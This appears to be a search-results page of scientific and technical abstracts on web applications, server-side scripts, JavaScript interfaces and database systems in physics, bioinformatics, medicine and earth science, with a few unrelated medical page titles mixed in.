PhEDEx is the data-transfer management solution written by CMS. It consists of agents running at each site, a website for presentation of information, and a web-based data-service for scripted access to information. The website allows users to monitor the progress of data-transfers, the status of site agents and links between sites, and the overall status and behaviour of everything about PhEDEx. It also allows users to make and approve requests for data-transfers and for deletion of data. It is the main point-of-entry for all users wishing to interact with PhEDEx. For several years, the website has consisted of a singlemore » perl program with about 10K SLOC. This program has limited capabilities for exploring the data, with only coarse filtering capabilities and no context-sensitive awareness. Graphical information is presented as static images, generated on the server, with no interactivity. It is also not well connected to the rest of the PhEDEx codebase, since much of it was written before the data-service was developed. All this makes it hard to maintain and extend. We are re-implementing the website to address these issues. The UI is being rewritten in Javascript, replacing most of the server-side code. We are using the YUI toolkit to provide advanced features and context-sensitive interaction, and will adopt a Javascript charting library for generating graphical representations client-side. This relieves the server of much of its load, and automatically improves server-side security. The Javascript components can be re-used in many ways, allowing custom pages to be developed for specific uses. In particular, standalone test-cases using small numbers of components make it easier to debug the Javascript than it is to debug a large server program. Information about PhEDEx is accessed through the PhEDEx data-service, since direct SQL is not available from the clients browser. This provides consistent semantics with other, externally written monitoring tools, which already use the data-service. It also reduces redundancy in the code, yielding a simpler, consolidated codebase. In this talk we describe our experience of re-factoring this monolithic server-side program into a lighter client-side framework. We describe some of the techniques that worked well for us, and some of the mistakes we made along the way. We present the current state of the project, and its future direction.« less

Reliability Information Analysis Center 1st Quarter 2007, Technical Area Task (TAT) Report

DTIC Science & Technology

2007-02-05

34* Created new SQL server database for "PC Configuration" web application. Added roles for security closed 4235 and posted application to production. "e Wrote...and ran SQL Server scripts to migrate production databases to new server . "e Created backup jobs for new SQL Server databases. "* Continued...second phase of the TENA demo. Extensive tasking was established and assigned. A TENA interface to EW Server was reaffirmed after some uncertainty about

Integration of a clinical trial database with a PACS

NASA Astrophysics Data System (ADS)

van Herk, M.

2014-03-01

Many clinical trials use Electronic Case Report Forms (ECRF), e.g., from OpenClinica. Trial data is augmented if DICOM scans, dose cubes, etc. from the Picture Archiving and Communication System (PACS) are included for data mining. Unfortunately, there is as yet no structured way to collect DICOM objects in trial databases. In this paper, we obtain a tight integration of ECRF and PACS using open source software. Methods: DICOM identifiers for selected images/series/studies are stored in associated ECRF events (e.g., baseline) as follows: 1) JavaScript added to OpenClinica communicates using HTML with a gateway server inside the hospitals firewall; 2) On this gateway, an open source DICOM server runs scripts to query and select the data, returning anonymized identifiers; 3) The scripts then collects, anonymizes, zips and transmits selected data to a central trial server; 4) Here data is stored in a DICOM archive which allows authorized ECRF users to view and download the anonymous images associated with each event. Results: All integration scripts are open source. The PACS administrator configures the anonymization script and decides to use the gateway in passive (receiving) mode or in an active mode going out to the PACS to gather data. Our ECRF centric approach supports automatic data mining by iterating over the cases in the ECRF database, providing the identifiers to load images and the clinical data to correlate with image analysis results. Conclusions: Using open source software and web technology, a tight integration has been achieved between PACS and ECRF.

Development of a 3D WebGIS System for Retrieving and Visualizing CityGML Data Based on their Geometric and Semantic Characteristics by Using Free and Open Source Technology

NASA Astrophysics Data System (ADS)

Pispidikis, I.; Dimopoulou, E.

2016-10-01

CityGML is considered as an optimal standard for representing 3D city models. However, international experience has shown that visualization of the latter is quite difficult to be implemented on the web, due to the large size of data and the complexity of CityGML. As a result, in the context of this paper, a 3D WebGIS application is developed in order to successfully retrieve and visualize CityGML data in accordance with their respective geometric and semantic characteristics. Furthermore, the available web technologies and the architecture of WebGIS systems are investigated, as provided by international experience, in order to be utilized in the most appropriate way for the purposes of this paper. Specifically, a PostgreSQL/ PostGIS Database is used, in compliance with the 3DCityDB schema. At Server tier, Apache HTTP Server and GeoServer are utilized, while a Server Side programming language PHP is used. At Client tier, which implemented the interface of the application, the following technologies were used: JQuery, AJAX, JavaScript, HTML5, WebGL and Ol3-Cesium. Finally, it is worth mentioning that the application's primary objectives are a user-friendly interface and a fully open source development.

An Inverse Modeling Plugin for HydroDesktop using the Method of Anchored Distributions (MAD)

NASA Astrophysics Data System (ADS)

Ames, D. P.; Osorio, C.; Over, M. W.; Rubin, Y.

2011-12-01

The CUAHSI Hydrologic Information System (HIS) software stack is based on an open and extensible architecture that facilitates the addition of new functions and capabilities at both the server side (using HydroServer) and the client side (using HydroDesktop). The HydroDesktop client plugin architecture is used here to expose a new scripting based plugin that makes use of the R statistics software as a means for conducting inverse modeling using the Method of Anchored Distributions (MAD). MAD is a Bayesian inversion technique for conditioning computational model parameters on relevant field observations yielding probabilistic distributions of the model parameters, related to the spatial random variable of interest, by assimilating multi-type and multi-scale data. The implementation of a desktop software tool for using the MAD technique is expected to significantly lower the barrier to use of inverse modeling in education, research, and resource management. The HydroDesktop MAD plugin is being developed following a community-based, open-source approach that will help both its adoption and long term sustainability as a user tool. This presentation will briefly introduce MAD, HydroDesktop, and the MAD plugin and software development effort.

Client-Server Connection Status Monitoring Using Ajax Push Technology

NASA Technical Reports Server (NTRS)

Lamongie, Julien R.

2008-01-01

This paper describes how simple client-server connection status monitoring can be implemented using Ajax (Asynchronous JavaScript and XML), JSF (Java Server Faces) and ICEfaces technologies. This functionality is required for NASA LCS (Launch Control System) displays used in the firing room for the Constellation project. Two separate implementations based on two distinct approaches are detailed and analyzed.

GEOMAGIA50: An archeointensity database with PHP and MySQL

NASA Astrophysics Data System (ADS)

Korhonen, K.; Donadini, F.; Riisager, P.; Pesonen, L. J.

2008-04-01

The GEOMAGIA50 database stores 3798 archeomagnetic and paleomagnetic intensity determinations dated to the past 50,000 years. It also stores details of the measurement setup for each determination, which are used for ranking the data according to prescribed reliability criteria. The ranking system aims to alleviate the data reliability problem inherent in this kind of data. GEOMAGIA50 is based on two popular open source technologies. The MySQL database management system is used for storing the data, whereas the functionality and user interface are provided by server-side PHP scripts. This technical brief gives a detailed description of GEOMAGIA50 from a technical viewpoint.

CANEapp: a user-friendly application for automated next generation transcriptomic data analysis.

PubMed

Velmeshev, Dmitry; Lally, Patrick; Magistri, Marco; Faghihi, Mohammad Ali

2016-01-13

Next generation sequencing (NGS) technologies are indispensable for molecular biology research, but data analysis represents the bottleneck in their application. Users need to be familiar with computer terminal commands, the Linux environment, and various software tools and scripts. Analysis workflows have to be optimized and experimentally validated to extract biologically meaningful data. Moreover, as larger datasets are being generated, their analysis requires use of high-performance servers. To address these needs, we developed CANEapp (application for Comprehensive automated Analysis of Next-generation sequencing Experiments), a unique suite that combines a Graphical User Interface (GUI) and an automated server-side analysis pipeline that is platform-independent, making it suitable for any server architecture. The GUI runs on a PC or Mac and seamlessly connects to the server to provide full GUI control of RNA-sequencing (RNA-seq) project analysis. The server-side analysis pipeline contains a framework that is implemented on a Linux server through completely automated installation of software components and reference files. Analysis with CANEapp is also fully automated and performs differential gene expression analysis and novel noncoding RNA discovery through alternative workflows (Cuffdiff and R packages edgeR and DESeq2). We compared CANEapp to other similar tools, and it significantly improves on previous developments. We experimentally validated CANEapp's performance by applying it to data derived from different experimental paradigms and confirming the results with quantitative real-time PCR (qRT-PCR). CANEapp adapts to any server architecture by effectively using available resources and thus handles large amounts of data efficiently. CANEapp performance has been experimentally validated on various biological datasets. CANEapp is available free of charge at http://psychiatry.med.miami.edu/research/laboratory-of-translational-rna-genomics/CANE-app . We believe that CANEapp will serve both biologists with no computational experience and bioinformaticians as a simple, timesaving but accurate and powerful tool to analyze large RNA-seq datasets and will provide foundations for future development of integrated and automated high-throughput genomics data analysis tools. Due to its inherently standardized pipeline and combination of automated analysis and platform-independence, CANEapp is an ideal for large-scale collaborative RNA-seq projects between different institutions and research groups.

Vcs.js - Visualization Control System for the Web

NASA Astrophysics Data System (ADS)

Chaudhary, A.; Lipsa, D.; Doutriaux, C.; Beezley, J. D.; Williams, D. N.; Fries, S.; Harris, M. B.

2016-12-01

VCS is a general purpose visualization library, optimized for climate data, which is part of the UV-CDAT system. It provides a Python API for drawing 2D plots such as lineplots, scatter plots, Taylor diagrams, data colored by scalar values, vector glyphs, isocontours and map projections. VCS is based on the VTK library. Vcs.js is the corresponding JavaScript API, designed to be as close as possible to the original VCS Python API and to provide similar functionality for the Web. Vcs.js includes additional functionality when compared with VCS. This additional API is used to introspect data files available on the server and variables available in a data file. Vcs.js can display plots in the browser window. It always works with a server that reads a data file, extracts variables from the file and subsets the data. From this point, two alternate paths are possible. First the system can render the data on the server using VCS producing an image which is send to the browser to be displayed. This path works for for all plot types and produces a reference image identical with the images produced by VCS. This path uses the VTK-Web library. As an optimization, usable in certain conditions, a second path is possible. Data is packed, and sent to the browser which uses a JavaScript plotting library, such as plotly, to display the data. Plots that work well in the browser are line-plots, scatter-plots for any data and many other plot types for small data and supported grid types. As web technology matures, more plots could be supported for rendering in the browser. Rendering can be done either on the client or on the server and we expect that the best place to render will change depending on the available web technology, data transfer costs, server management costs and value provided to users. We intend to provide a flexible solution that allows for both client and server side rendering and a meaningful way to choose between the two. We provide a web-based user interface called vCdat which uses Vcs.js as its visualization library. Our paper will discuss the principles guiding our design choices for Vcs.js, present our design in detail and show a sample usage of the library.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Barnette, Daniel W.

eCo-PylotDB, written completely in Python, provides a script that parses incoming emails and prepares extracted data for submission to a database table. The script extracts the database server, the database table, the server password, and the server username all from the email address to which the email is sent. The database table is specified on the Subject line. Any text in the body of the email is extracted as user comments for the database table. Attached files are extracted as data files with each file submitted to a specified table field but in separate rows of the targeted database table.more » Other information such as sender, date, time, and machine from which the email was sent is extracted and submitted to the database table as well. An email is sent back to the user specifying whether the data from the initial email was accepted or rejected by the database server. If rejected, the return email includes details as to why.« less

The PubChem chemical structure sketcher

PubMed Central

2009-01-01

PubChem is an important public, Web-based information source for chemical and bioactivity information. In order to provide convenient structure search methods on compounds stored in this database, one mandatory component is a Web-based drawing tool for interactive sketching of chemical query structures. Web-enabled chemical structure sketchers are not new, being in existence for years; however, solutions available rely on complex technology like Java applets or platform-dependent plug-ins. Due to general policy and support incident rate considerations, Java-based or platform-specific sketchers cannot be deployed as a part of public NCBI Web services. Our solution: a chemical structure sketching tool based exclusively on CGI server processing, client-side JavaScript functions, and image sequence streaming. The PubChem structure editor does not require the presence of any specific runtime support libraries or browser configurations on the client. It is completely platform-independent and verified to work on all major Web browsers, including older ones without support for Web2.0 JavaScript objects. PMID:20298522

Molecular structure input on the web.

PubMed

Ertl, Peter

2010-02-02

A molecule editor, that is program for input and editing of molecules, is an indispensable part of every cheminformatics or molecular processing system. This review focuses on a special type of molecule editors, namely those that are used for molecule structure input on the web. Scientific computing is now moving more and more in the direction of web services and cloud computing, with servers scattered all around the Internet. Thus a web browser has become the universal scientific user interface, and a tool to edit molecules directly within the web browser is essential.The review covers a history of web-based structure input, starting with simple text entry boxes and early molecule editors based on clickable maps, before moving to the current situation dominated by Java applets. One typical example - the popular JME Molecule Editor - will be described in more detail. Modern Ajax server-side molecule editors are also presented. And finally, the possible future direction of web-based molecule editing, based on technologies like JavaScript and Flash, is discussed.

New web technologies for astronomy

NASA Astrophysics Data System (ADS)

Sprimont, P.-G.; Ricci, D.; Nicastro, L.

2014-12-01

Thanks to the new HTML5 capabilities and the huge improvements of the JavaScript language, it is now possible to design very complex and interactive web user interfaces. On top of that, the once monolithic and file-server oriented web servers are evolving into easily programmable server applications capable to cope with the complex interactions made possible by the new generation of browsers. We believe that the whole community of amateur and professionals astronomers can benefit from the potential of these new technologies. New web interfaces can be designed to provide the user with a large deal of much more intuitive and interactive tools. Accessing astronomical data archives, schedule, control and monitor observatories, and in particular robotic telescopes, supervising data reduction pipelines, all are capabilities that can now be implemented in a JavaScript web application. In this paper we describe the Sadira package we are implementing exactly to this aim.

HDF-EOS Web Server

NASA Technical Reports Server (NTRS)

Ullman, Richard; Bane, Bob; Yang, Jingli

2008-01-01

A shell script has been written as a means of automatically making HDF-EOS-formatted data sets available via the World Wide Web. ("HDF-EOS" and variants thereof are defined in the first of the two immediately preceding articles.) The shell script chains together some software tools developed by the Data Usability Group at Goddard Space Flight Center to perform the following actions: Extract metadata in Object Definition Language (ODL) from an HDF-EOS file, Convert the metadata from ODL to Extensible Markup Language (XML), Reformat the XML metadata into human-readable Hypertext Markup Language (HTML), Publish the HTML metadata and the original HDF-EOS file to a Web server and an Open-source Project for a Network Data Access Protocol (OPeN-DAP) server computer, and Reformat the XML metadata and submit the resulting file to the EOS Clearinghouse, which is a Web-based metadata clearinghouse that facilitates searching for, and exchange of, Earth-Science data.

Visualization of historical data for the ATLAS detector controls - DDV

NASA Astrophysics Data System (ADS)

Maciejewski, J.; Schlenker, S.

2017-10-01

The ATLAS experiment is one of four detectors located on the Large Hardon Collider (LHC) based at CERN. Its detector control system (DCS) stores the slow control data acquired within the back-end of distributed WinCC OA applications, which enables the data to be retrieved for future analysis, debugging and detector development in an Oracle relational database. The ATLAS DCS Data Viewer (DDV) is a client-server application providing access to the historical data outside of the experiment network. The server builds optimized SQL queries, retrieves the data from the database and serves it to the clients via HTTP connections. The server also implements protection methods to prevent malicious use of the database. The client is an AJAX-type web application based on the Vaadin (framework build around the Google Web Toolkit (GWT)) which gives users the possibility to access the data with ease. The DCS metadata can be selected using a column-tree navigation or a search engine supporting regular expressions. The data is visualized by a selection of output modules such as a java script value-over time plots or a lazy loading table widget. Additional plugins give the users the possibility to retrieve the data in ROOT format or as an ASCII file. Control system alarms can also be visualized in a dedicated table if necessary. Python mock-up scripts can be generated by the client, allowing the user to query the pythonic DDV server directly, such that the users can embed the scripts into more complex analysis programs. Users are also able to store searches and output configurations as XML on the server to share with others via URL or to embed in HTML.

The Role of the Web Server in a Capstone Web Application Course

ERIC Educational Resources Information Center

Umapathy, Karthikeyan; Wallace, F. Layne

2010-01-01

Web applications have become commonplace in the Information Systems curriculum. Much of the discussion about Web development for capstone courses has centered on the scripting tools. Very little has been discussed about different ways to incorporate the Web server into Web application development courses. In this paper, three different ways of…

snpTree--a web-server to identify and construct SNP trees from whole genome sequence data.

PubMed

Leekitcharoenphon, Pimlapas; Kaas, Rolf S; Thomsen, Martin Christen Frølund; Friis, Carsten; Rasmussen, Simon; Aarestrup, Frank M

2012-01-01

The advances and decreasing economical cost of whole genome sequencing (WGS), will soon make this technology available for routine infectious disease epidemiology. In epidemiological studies, outbreak isolates have very little diversity and require extensive genomic analysis to differentiate and classify isolates. One of the successfully and broadly used methods is analysis of single nucletide polymorphisms (SNPs). Currently, there are different tools and methods to identify SNPs including various options and cut-off values. Furthermore, all current methods require bioinformatic skills. Thus, we lack a standard and simple automatic tool to determine SNPs and construct phylogenetic tree from WGS data. Here we introduce snpTree, a server for online-automatic SNPs analysis. This tool is composed of different SNPs analysis suites, perl and python scripts. snpTree can identify SNPs and construct phylogenetic trees from WGS as well as from assembled genomes or contigs. WGS data in fastq format are aligned to reference genomes by BWA while contigs in fasta format are processed by Nucmer. SNPs are concatenated based on position on reference genome and a tree is constructed from concatenated SNPs using FastTree and a perl script. The online server was implemented by HTML, Java and python script.The server was evaluated using four published bacterial WGS data sets (V. cholerae, S. aureus CC398, S. Typhimurium and M. tuberculosis). The evaluation results for the first three cases was consistent and concordant for both raw reads and assembled genomes. In the latter case the original publication involved extensive filtering of SNPs, which could not be repeated using snpTree. The snpTree server is an easy to use option for rapid standardised and automatic SNP analysis in epidemiological studies also for users with limited bioinformatic experience. The web server is freely accessible at http://www.cbs.dtu.dk/services/snpTree-1.0/.

A JavaScript API for the Ice Sheet System Model (ISSM) 4.11: towards an online interactive model for the cryosphere community

NASA Astrophysics Data System (ADS)

Larour, Eric; Cheng, Daniel; Perez, Gilberto; Quinn, Justin; Morlighem, Mathieu; Duong, Bao; Nguyen, Lan; Petrie, Kit; Harounian, Silva; Halkides, Daria; Hayes, Wayne

2017-12-01

Earth system models (ESMs) are becoming increasingly complex, requiring extensive knowledge and experience to deploy and use in an efficient manner. They run on high-performance architectures that are significantly different from the everyday environments that scientists use to pre- and post-process results (i.e., MATLAB, Python). This results in models that are hard to use for non-specialists and are increasingly specific in their application. It also makes them relatively inaccessible to the wider science community, not to mention to the general public. Here, we present a new software/model paradigm that attempts to bridge the gap between the science community and the complexity of ESMs by developing a new JavaScript application program interface (API) for the Ice Sheet System Model (ISSM). The aforementioned API allows cryosphere scientists to run ISSM on the client side of a web page within the JavaScript environment. When combined with a web server running ISSM (using a Python API), it enables the serving of ISSM computations in an easy and straightforward way. The deep integration and similarities between all the APIs in ISSM (MATLAB, Python, and now JavaScript) significantly shortens and simplifies the turnaround of state-of-the-art science runs and their use by the larger community. We demonstrate our approach via a new Virtual Earth System Laboratory (VESL) website (http://vesl.jpl.nasa.gov, VESL(2017)).

Web-based network analysis and visualization using CellMaps

PubMed Central

Salavert, Francisco; García-Alonso, Luz; Sánchez, Rubén; Alonso, Roberto; Bleda, Marta; Medina, Ignacio; Dopazo, Joaquín

2016-01-01

Summary: CellMaps is an HTML5 open-source web tool that allows displaying, editing, exploring and analyzing biological networks as well as integrating metadata into them. Computations and analyses are remotely executed in high-end servers, and all the functionalities are available through RESTful web services. CellMaps can easily be integrated in any web page by using an available JavaScript API. Availability and Implementation: The application is available at: http://cellmaps.babelomics.org/ and the code can be found in: https://github.com/opencb/cell-maps. The client is implemented in JavaScript and the server in C and Java. Contact: jdopazo@cipf.es Supplementary information: Supplementary data are available at Bioinformatics online. PMID:27296979

Web-based network analysis and visualization using CellMaps.

PubMed

Salavert, Francisco; García-Alonso, Luz; Sánchez, Rubén; Alonso, Roberto; Bleda, Marta; Medina, Ignacio; Dopazo, Joaquín

2016-10-01

: CellMaps is an HTML5 open-source web tool that allows displaying, editing, exploring and analyzing biological networks as well as integrating metadata into them. Computations and analyses are remotely executed in high-end servers, and all the functionalities are available through RESTful web services. CellMaps can easily be integrated in any web page by using an available JavaScript API. The application is available at: http://cellmaps.babelomics.org/ and the code can be found in: https://github.com/opencb/cell-maps The client is implemented in JavaScript and the server in C and Java. jdopazo@cipf.es Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press.

CIVET: Continuous Integration, Verification, Enhancement, and Testing

DOE Office of Scientific and Technical Information (OSTI.GOV)

Alger, Brian; Gaston, Derek R.; Permann, Cody J

A Git server (GitHub, GitLab, BitBucket) sends event notifications to the Civet server. These are either a " Pull Request" or a "Push" notification. Civet then checks the database to determine what tests need to be run and marks them as ready to run. Civet clients, running on dedicated machines, query the server for available jobs that are ready to run. When a client gets a job it executes the scripts attached to the job and report back to the server the output and exit status. When the client updates the server, the server will also update the Git servermore » with the result of the job, as well as updating the main web page.« less

Design and development of a web-based application for diabetes patient data management.

PubMed

Deo, S S; Deobagkar, D N; Deobagkar, Deepti D

2005-01-01

A web-based database management system developed for collecting, managing and analysing information of diabetes patients is described here. It is a searchable, client-server, relational database application, developed on the Windows platform using Oracle, Active Server Pages (ASP), Visual Basic Script (VB Script) and Java Script. The software is menu-driven and allows authorized healthcare providers to access, enter, update and analyse patient information. Graphical representation of data can be generated by the system using bar charts and pie charts. An interactive web interface allows users to query the database and generate reports. Alpha- and beta-testing of the system was carried out and the system at present holds records of 500 diabetes patients and is found useful in diagnosis and treatment. In addition to providing patient data on a continuous basis in a simple format, the system is used in population and comparative analysis. It has proved to be of significant advantage to the healthcare provider as compared to the paper-based system.

GUI implementation of image encryption and decryption using Open CV-Python script on secured TFTP protocol

NASA Astrophysics Data System (ADS)

Reddy, K. Rasool; Rao, Ch. Madhava

2018-04-01

Currently safety is one of the primary concerns in the transmission of images due to increasing the use of images within the industrial applications. So it's necessary to secure the image facts from unauthorized individuals. There are various strategies are investigated to secure the facts. In that encryption is certainly one of maximum distinguished method. This paper gives a sophisticated Rijndael (AES) algorithm to shield the facts from unauthorized humans. Here Exponential Key Change (EKE) concept is also introduced to exchange the key between client and server. The things are exchange in a network among client and server through a simple protocol is known as Trivial File Transfer Protocol (TFTP). This protocol is used mainly in embedded servers to transfer the data and also provide protection to the data if protection capabilities are integrated. In this paper, implementing a GUI environment for image encryption and decryption. All these experiments carried out on Linux environment the usage of Open CV-Python script.

Rapid HIS, RIS, PACS Integration Using Graphical CASE Tools

NASA Astrophysics Data System (ADS)

Taira, Ricky K.; Breant, Claudine M.; Stepczyk, Frank M.; Kho, Hwa T.; Valentino, Daniel J.; Tashima, Gregory H.; Materna, Anthony T.

1994-05-01

We describe the clinical requirements of the integrated federation of databases and present our client-mediator-server design. The main body of the paper describes five important aspects of integrating information systems: (1) global schema design, (2) establishing sessions with remote database servers, (3) development of schema translators, (4) integration of global system triggers, and (5) development of job workflow scripts.

Sequence alignment visualization in HTML5 without Java.

PubMed

Gille, Christoph; Birgit, Weyand; Gille, Andreas

2014-01-01

Java has been extensively used for the visualization of biological data in the web. However, the Java runtime environment is an additional layer of software with an own set of technical problems and security risks. HTML in its new version 5 provides features that for some tasks may render Java unnecessary. Alignment-To-HTML is the first HTML-based interactive visualization for annotated multiple sequence alignments. The server side script interpreter can perform all tasks like (i) sequence retrieval, (ii) alignment computation, (iii) rendering, (iv) identification of a homologous structural models and (v) communication with BioDAS-servers. The rendered alignment can be included in web pages and is displayed in all browsers on all platforms including touch screen tablets. The functionality of the user interface is similar to legacy Java applets and includes color schemes, highlighting of conserved and variable alignment positions, row reordering by drag and drop, interlinked 3D visualization and sequence groups. Novel features are (i) support for multiple overlapping residue annotations, such as chemical modifications, single nucleotide polymorphisms and mutations, (ii) mechanisms to quickly hide residue annotations, (iii) export to MS-Word and (iv) sequence icons. Alignment-To-HTML, the first interactive alignment visualization that runs in web browsers without additional software, confirms that to some extend HTML5 is already sufficient to display complex biological data. The low speed at which programs are executed in browsers is still the main obstacle. Nevertheless, we envision an increased use of HTML and JavaScript for interactive biological software. Under GPL at: http://www.bioinformatics.org/strap/toHTML/.

SU-E-J-114: Web-Browser Medical Physics Applications Using HTML5 and Javascript.

PubMed

Bakhtiari, M

2012-06-01

Since 2010, there has been a great attention about HTML5. Application developers and browser makers fully embrace and support the web of the future. Consumers have started to embrace HTML5, especially as more users understand the benefits and potential that HTML5 can mean for the future.Modern browsers such as Firefox, Google Chrome, and Safari are offering better and more robust support for HTML5, CSS3, and JavaScript. The idea is to introduce the HTML5 to medical physics community for open source software developments. The benefit of using HTML5 is developing portable software systems. The HTML5, CSS, and JavaScript programming languages were used to develop several applications for Quality Assurance in radiation therapy. The canvas element of HTML5 was used for handling and displaying the images, and JavaScript was used to manipulate the data. Sample application were developed to: 1. analyze the flatness and symmetry of the radiotherapy fields in a web browser, 2.analyze the Dynalog files from Varian machines, 3. visualize the animated Dynamic MLC files, 4. Simulation via Monte Carlo, and 5. interactive image manipulation. The programs showed great performance and speed in uploading the data and displaying the results. The flatness and symmetry program and Dynalog file analyzer ran in a fraction of second. The reason behind this performance is using JavaScript language which is a lower level programming language in comparison to the most of the scientific programming packages such as Matlab. The second reason is that JavaScript runs locally on client side computers not on the web-servers. HTML5 and JavaScript can be used to develop useful applications that can be run online or offline on different modern web-browsers. The programming platform can be also one of the modern web-browsers which are mostly open source (such as Firefox). © 2012 American Association of Physicists in Medicine.

PREFMD: a web server for protein structure refinement via molecular dynamics simulations.

PubMed

Heo, Lim; Feig, Michael

2018-03-15

Refinement of protein structure models is a long-standing problem in structural bioinformatics. Molecular dynamics-based methods have emerged as an avenue to achieve consistent refinement. The PREFMD web server implements an optimized protocol based on the method successfully tested in CASP11. Validation with recent CASP refinement targets shows consistent and more significant improvement in global structure accuracy over other state-of-the-art servers. PREFMD is freely available as a web server at http://feiglab.org/prefmd. Scripts for running PREFMD as a stand-alone package are available at https://github.com/feiglab/prefmd.git. feig@msu.edu. Supplementary data are available at Bioinformatics online.

Phylo.io: Interactive Viewing and Comparison of Large Phylogenetic Trees on the Web.

PubMed

Robinson, Oscar; Dylus, David; Dessimoz, Christophe

2016-08-01

Phylogenetic trees are pervasively used to depict evolutionary relationships. Increasingly, researchers need to visualize large trees and compare multiple large trees inferred for the same set of taxa (reflecting uncertainty in the tree inference or genuine discordance among the loci analyzed). Existing tree visualization tools are however not well suited to these tasks. In particular, side-by-side comparison of trees can prove challenging beyond a few dozen taxa. Here, we introduce Phylo.io, a web application to visualize and compare phylogenetic trees side-by-side. Its distinctive features are: highlighting of similarities and differences between two trees, automatic identification of the best matching rooting and leaf order, scalability to large trees, high usability, multiplatform support via standard HTML5 implementation, and possibility to store and share visualizations. The tool can be freely accessed at http://phylo.io and can easily be embedded in other web servers. The code for the associated JavaScript library is available at https://github.com/DessimozLab/phylo-io under an MIT open source license. © The Author 2016. Published by Oxford University Press on behalf of the Society for Molecular Biology and Evolution.

The Primary Care Electronic Library: RSS feeds using SNOMED-CT indexing for dynamic content delivery.

PubMed

Robinson, Judas; de Lusignan, Simon; Kostkova, Patty; Madge, Bruce; Marsh, A; Biniaris, C

2006-01-01

Rich Site Summary (RSS) feeds are a method for disseminating and syndicating the contents of a website using extensible mark-up language (XML). The Primary Care Electronic Library (PCEL) distributes recent additions to the site in the form of an RSS feed. When new resources are added to PCEL, they are manually assigned medical subject headings (MeSH terms), which are then automatically mapped to SNOMED-CT terms using the Unified Medical Language System (UMLS) Metathesaurus. The library is thus searchable using MeSH or SNOMED-CT. Our syndicate partner wished to have remote access to PCEL coronary heart disease (CHD) information resources based on SNOMED-CT search terms. To pilot the supply of relevant information resources in response to clinically coded requests, using RSS syndication for transmission between web servers. Our syndicate partner provided a list of CHD SNOMED-CT terms to its end-users, a list which was coded according to UMLS specifications. When the end-user requested relevant information resources, this request was relayed from our syndicate partner's web server to the PCEL web server. The relevant resources were retrieved from the PCEL MySQL database. This database is accessed using a server side scripting language (PHP), which enables the production of dynamic RSS feeds on the basis of Source Asserted Identifiers (CODEs) contained in UMLS. Retrieving resources using SNOMED-CT terms using syndication can be used to build a functioning application. The process from request to display of syndicated resources took less than one second. The results of the pilot illustrate that it is possible to exchange data between servers using RSS syndication. This method could be utilised dynamically to supply digital library resources to a clinical system with SNOMED-CT data used as the standard of reference.

Large-scale automated image analysis for computational profiling of brain tissue surrounding implanted neuroprosthetic devices using Python.

PubMed

Rey-Villamizar, Nicolas; Somasundar, Vinay; Megjhani, Murad; Xu, Yan; Lu, Yanbin; Padmanabhan, Raghav; Trett, Kristen; Shain, William; Roysam, Badri

2014-01-01

In this article, we describe the use of Python for large-scale automated server-based bio-image analysis in FARSIGHT, a free and open-source toolkit of image analysis methods for quantitative studies of complex and dynamic tissue microenvironments imaged by modern optical microscopes, including confocal, multi-spectral, multi-photon, and time-lapse systems. The core FARSIGHT modules for image segmentation, feature extraction, tracking, and machine learning are written in C++, leveraging widely used libraries including ITK, VTK, Boost, and Qt. For solving complex image analysis tasks, these modules must be combined into scripts using Python. As a concrete example, we consider the problem of analyzing 3-D multi-spectral images of brain tissue surrounding implanted neuroprosthetic devices, acquired using high-throughput multi-spectral spinning disk step-and-repeat confocal microscopy. The resulting images typically contain 5 fluorescent channels. Each channel consists of 6000 × 10,000 × 500 voxels with 16 bits/voxel, implying image sizes exceeding 250 GB. These images must be mosaicked, pre-processed to overcome imaging artifacts, and segmented to enable cellular-scale feature extraction. The features are used to identify cell types, and perform large-scale analysis for identifying spatial distributions of specific cell types relative to the device. Python was used to build a server-based script (Dell 910 PowerEdge servers with 4 sockets/server with 10 cores each, 2 threads per core and 1TB of RAM running on Red Hat Enterprise Linux linked to a RAID 5 SAN) capable of routinely handling image datasets at this scale and performing all these processing steps in a collaborative multi-user multi-platform environment. Our Python script enables efficient data storage and movement between computers and storage servers, logs all the processing steps, and performs full multi-threaded execution of all codes, including open and closed-source third party libraries.

Brisement

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Subtalar Arthroscopy

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Peroneal Tendinosis

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Ankle Cheilectomy

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Disobedient Child

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Distraction Arthroplasty

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Pediatric Specialists

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Cavus Foot Surgery

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Bunionette Deformity Correction

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Shyness in Children

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Percutaneous Achilles Tendon Lengthening

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Where to Donate Blood

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Fuselet Authoring, Execution, and Management in Support of Global Strike Operations

DTIC Science & Technology

2008-07-01

can be implemented in a variety of languages such as Java , Extensible Stylesheet Language Transformations (XSLT), Groovy, and Jython. A primary...measurable and manageable. By creating transformations from reusable, parameterizable components rather than ad-hoc scripts , transformation logic is...deployable to any Java 2 Platform, Enterprise Edition (J2EE) server, but is tested regularly on the JBoss Application Server (AS) version 4.0.4.GA

Client-Side Image Maps: Achieving Accessibility and Section 508 Compliance

ERIC Educational Resources Information Center

Beasley, William; Jarvis, Moana

2004-01-01

Image maps are a means of making a picture "clickable", so that different portions of the image can be hyperlinked to different URLS. There are two basic types of image maps: server-side and client-side. Besides requiring access to a CGI on the server, server-side image maps are undesirable from the standpoint of accessibility--creating…

Developing Server-Side Infrastructure for Large-Scale E-Learning of Web Technology

ERIC Educational Resources Information Center

Simpkins, Neil

2010-01-01

The growth of E-business has made experience in server-side technology an increasingly important area for educators. Server-side skills are in increasing demand and recognised to be of relatively greater value than comparable client-side aspects (Ehie, 2002). In response to this, many educational organisations have developed E-business courses,…

Generic HTML Form Processor: A versatile PHP script to save web-collected data into a MySQL database.

PubMed

Göritz, Anja S; Birnbaum, Michael H

2005-11-01

The customizable PHP script Generic HTML Form Processor is intended to assist researchers and students in quickly setting up surveys and experiments that can be administered via the Web. This script relieves researchers from the burdens of writing new CGI scripts and building databases for each Web study. Generic HTML Form Processor processes any syntactically correct HTML forminput and saves it into a dynamically created open-source database. We describe five modes for usage of the script that allow increasing functionality but require increasing levels of knowledge of PHP and Web servers: The first two modes require no previous knowledge, and the fifth requires PHP programming expertise. Use of Generic HTML Form Processor is free for academic purposes, and its Web address is www.goeritz.net/brmic.

An electronic thesaurus of Evidence Based Laboratory Medicine hematological and biochemical diagnostic tests.

PubMed

Dorizzi, R M; Maconi, M; Giavarina, D; Loza, G; Aman, M; Moreira, J; Bisoffi, Z; Gennuso, C

2009-10-01

